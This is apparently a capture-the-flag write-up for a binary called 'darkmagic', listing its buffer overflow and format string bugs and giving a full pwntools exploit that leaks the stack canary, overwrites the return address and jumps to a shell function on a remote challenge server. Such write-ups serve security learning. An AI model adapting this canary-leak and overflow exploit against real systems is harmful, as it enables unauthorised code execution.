darkmagic

Binary

darkmagic

Notes

• BoF in vuln()
• There is stack canary
• no-pie
• for loop that read twice and printf twice
• format string on printf

Steps

1. Use BoF to override the max_cntr that is 1 to 0xa so that you can read and printf multiple times
2. Leak stack canary using format string vuln
3. Use BoF to override stack canary with correct value and control pc
4. Create ROP that jumps to getshell()

POC

from pwn import *

is_local = False

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
if is_local:
    pty = process.PTY
    io = process('pwn_darkmagic_darkmagic', stdin=pty, stdout=pty)
    # gdb.attach(io,'''
    #         b *0x4007eb
    # ''')
else:
    io = remote("35.234.65.24", 30750)



def send_magic(msg_1: bytes, msg_2: bytes):
    io.sendline(msg_1)
    io.sendline(msg_2)

# Offset 16
def leak_stack(depth: int = 0x10):
    send_magic(b'%p,' * depth,'')
    addr_list = io.recvline().split(b',')
    io.clean()

    for index, addr in enumerate(addr_list):
        log.info(f'offset: {index+1} @ {addr}')


io.recvuntil('Dark Magic is here!\n')

# Overwrite the max_cntr varible for forloop in vuln
send_magic(b'A'*100 + b'\x0a\x00\x00\x00', '')
sleep(1)
io.clean()
sleep(1)
send_magic(b'%35$p','')
canary = int(io.recvline()[:-1], 16)
# canary = int(io.recvline()[:-1], 16)
log.info(f'Canary: {hex(canary)}')
io.clean()
sleep(1)

JUNK_2_CANARY = b'A' * 0xd8
CANARY = p64(canary)
JUNK_2_RET = b'A' * 0x8
GETSHELL = p64(0x40073b)
payload_1 = (
    b''
    + JUNK_2_CANARY
    + CANARY
    + JUNK_2_RET
    + GETSHELL
)

sleep(1)
send_magic(payload_1, '')

io.interactive()